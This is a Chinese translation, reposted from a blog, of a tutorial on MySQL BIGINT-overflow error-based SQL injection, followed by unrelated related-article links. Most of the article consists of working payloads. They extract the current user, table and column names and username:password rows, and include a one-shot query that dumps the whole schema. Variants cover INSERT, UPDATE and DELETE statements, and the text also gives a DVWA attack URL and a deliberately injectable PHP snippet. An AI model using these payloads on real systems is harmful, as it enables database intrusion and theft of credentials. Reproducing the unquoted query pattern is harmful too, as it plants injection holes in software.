我对于通过MySQL错误提取数据的新技术非常感兴趣,而本文中要介绍的就是这样一种技术。当我考察MySQL的整数处理方式的时候,突然对如何使其发生溢出产生了浓厚的兴趣。下面,我们来看看MySQL是如何存储整数的。

(来源:http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)

只有5.5.5及其以上版本的MySQL才会产生溢出错误消息,之下的版本对于整数溢出不会发送任何消息。

数据类型BIGINT的长度为8字节,也就是说,长度为64比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误。

mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'

为了避免出现上面这样的错误,我们只需将其转换为无符号整数即可。

对于无符号整数来说,BIGINT可以存放的最大值用二进制、十六进制和十进制表示的话,分别为“0b1111111111111111111111111111111111111111111111111111111111111111”、“0xFFFFFFFFFFFFFFFF”和“18446744073709551615”。

同样的,如果对这个值进行数值表达式运算,如加法或减法运算,同样也会导致“BIGINT value is out of range”错误。

# In decimal
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)' # In binary
mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)' # In hex
mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

如果我们对数值0逐位取反,结果会怎么样呢? 当然是得到一个无符号的最大BIGINT值,这一点是显而易见的。

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

所以,如果我们对~0进行加减运算的话,也会导致BIGINT溢出错误。

mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

0x002 注入技术


我的想法是,利用子查询引起BITINT溢出,从而设法提取数据。我们知道,如果一个查询成功返回,其返回值为0,所以对其进行逻辑非的话就会变成1,举例来说,如果我们对类似(select*from(select user())x)这样的查询进行逻辑非的话,就会有:

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)
# Applying logical negation
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)

是的,太完美了! 所以说,只要我们能够组合好逐位取反和逻辑取反运算,我们就能利用溢出错误来成功的注入查询。

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

我们先不使用加法,因为“+”通过网页浏览器进行解析的时候,会被转换为空白符(不过,你可以使用%2b来表示“+”)。 相反,我们可以使用减法。所以说,同一种注入攻击,可以有完全不同的变种。 最终的查询语句如下所示。

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

举例来说,我们可以像下面一样,在一个查询语句中进行注入操作。

mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

<http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -|&Submit=Submit#>

利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:

select !atan((select*from(select user())a))-~0;
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;

下面的我们已经测试过了,如果你愿意的话,还可以找到更多:)

HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

0x003 提取数据


提取数据的方法,跟其他注入攻击手法中的一样,这里只做简单介绍。

首先,我们来获取表名:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

取得列名:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

检索数据:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

0x004 一次性转储


我们能够一次性转储所有数据库、列和数据表吗? 答案是肯定的。但是,当我们从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。 不过,如果我们是从当前数据库中转储数据的话,一次最多可以转储27个结果。下面举例说明。

!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0
(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

这些限制了我们可以检索的结果的数量,即最多27个。假设,我们在一个数据库中创建了一个31列的数据表。 那么,我们只能看到27个结果,而我的其他4个表和该用户数据表的其他列都无法返回。

0x05 利用插入语句进行注入


利用插入语句,我们也可以进行类似的注入攻击,具体语法为‘’ or (payload) or “”

mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

我们还可以使用DIOS查询。

insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

0x06 利用更新语句进行注入


利用更新语句,我们照样可以进行类似的注入,具体如下所示:

mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

0x07 利用更新语句进行注入


同样的,我们也可以利用删除语句进行注入,具体如下所示:

mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

0x08 小结


本文的攻击之所以得逞,是因为mysql_error()会向我们返回错误消息,只要这样,我们才能够利用它来进行注入。 这一功能,是在5.5.5及其以上版本提供的。对于这些溢出攻击,还有许多不同的形式。 例如:

mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

此外,后端代码中的引用、双引号或括号问题,也会引起注入攻击。举例来说,如果利用DVWA修改PHP代码去掉引号, 无需前面类似的或操作就能进行注入了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
 
if(isset($_GET['Submit'])){
 
    // Retrieve data
 
    $id = $_GET['id'];
 
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
 
    $num = mysql_numrows($result);
 
    $i = 0;
 
    while ($i < $num) {
 
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
 
        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';
 
        $i++;
    }
}
?>

<http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222 &Submit=Submit#>

译者:mssp299

原文地址:https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/

exp报错注入 https://www.jianshu.com/p/c466a69a405a?utm_campaign

(转载)基于BIGINT溢出错误的SQL注入的更多相关文章

  1. 报错SQL盲注之BIGINT 溢出

    首先感谢原创博主,在此致敬.本文转自:http://www.cnblogs.com/lcamry/articles/5509112.html MySQL版本在 5.5.5 及其以上 0x01 概述 我 ...

  2. 详解基于MSSQL “order by”语句报错的SQL注入技术

    SQL注入,又名黑客技术之母,是一种臭名昭著的安全漏洞,由于流毒甚广,已经给网络世界造成了巨大的破坏.当然,对于该漏洞的利用技术,也是花样繁多,如访问存储在数据库中的数据,使用MySQL的load和i ...

  3. DDOS、CC、sql注入,跨站攻击防御方法

    web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...

  4. SQL注入的分类

    基于从服务器接收到的响应    基于错误的SQL注入    联合查询的类型    堆查询注射    SQL盲注        基于布尔SQL盲注        基于时间的SQL盲注        基于 ...

  5. sql注入分类

    Sql注入根据数据提取通道的类型,从服务器接收到的响应等可以分为不同的类型. 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基 ...

  6. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  7. 初阶sql注入总结

    0x00 前言 sql注入是通过用户输入构造语句以实现目的.一句话,不要相信任何用户输入的内容,做好防护. 0x01 传参方式 传参方式一般通过get方式,或者post方式提交,前者的优点是效率高,后 ...

  8. SQL注入是什么?如何防止?

    SQL注入是什么?如何防止? SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? ...

  9. SQL注入攻击及防范

    一.什么是SQL注入1.SQL注入的定义     SQL注入(SQL Injection) 利用了程序中的SQL的漏洞,进行攻击的方法. 2.SQL注入举例  1)利用SQL语法错误获取数据库表的结构 ...

随机推荐

  1. 使用Python创建自己的Instagram滤镜

    不知道你有没有使用过Instagram滤镜,它们非常方便,只需单击几个按钮,就可以变换我要发布的照片​​. 你是否想过自己可以创建一个?答案是可以的! 在本文中,我将向你展示如何使用代码和示例图像来创 ...

  2. 深入理解JavaScript中的堆与栈 、浅拷贝与深拷贝

    JavaScript中的浅拷贝与深拷贝  学了这么长时间的JavaScript想必大家对浅拷贝和深拷贝还不太熟悉吧,今天在项目中既然用到了,早晚也要理清一下思路了,在了解之前,我们还是先从JavaSc ...

  3. GIS中地图投影的定义

    我国的基本比例尺地形图[1:5千.1:1万.1:2.5万.1:5万.1:10万.1:25万.1:50万.1:100万]中,大于等于50万的均采用高斯-克吕格投影[Gauss-Kruger]:小于50万 ...

  4. pycharm工程包导入问题

    当我们将外部的python项目导入pycharm工程中时,会出现同一个包的python文件无法在另一个文件引用的问题: 解决方法如下: 在此设置中,将需要导入的文件或包变为蓝色 步骤:1.点击需要导入 ...

  5. LFU五种实现方式,从简单到复杂

    前言 最近刷力扣题,对于我这种 0 基础来说,真的是脑壳疼啊.这个月我估计都是中等和困难题,没有简单题了. 幸好,力扣上有各种大牛给写题解.看着他们行云流水的代码,真的是羡慕不已.让我印象最深刻的就是 ...

  6. P1343 地震逃生(最大流板题)

    P1343 地震逃生 题目描述 汶川地震发生时,四川**中学正在上课,一看地震发生,老师们立刻带领x名学生逃跑,整个学校可以抽象地看成一个有向图,图中有n个点,m条边.1号点为教室,n号点为安全地带, ...

  7. I、恋爱之子

    链接:https://ac.nowcoder.com/acm/contest/3570/I 来源:牛客网 题目描述 最近ZSC和他的女朋友NULL吵架了.因为ZSC是一个直男,他不知道该怎么办,于是他 ...

  8. 记python 链式比较的坑

    前两天,python交流群里有人问: “x”<"y"==True 这个表达式输出的是什么,脑子都没动,就觉得应该是True 居然被否定了!立马在命令行里敲了一下,准备用事实打 ...

  9. c期末笔记(4)

    未命名易错点 1.0<y<10 在c语言中,0<y<10不是一个正确的表达式,应该利用逻辑运算符替换(y>0&&y<10或者!(y<=0||y ...

  10. MyBatis 学习笔记(1)

    MyBatis 的基本构成 SqlSessionFactoryBuilder(构造器):它会根据配置信息或者代码来生成 SqlSessionFactory(工厂接口) SqlSessionFactor ...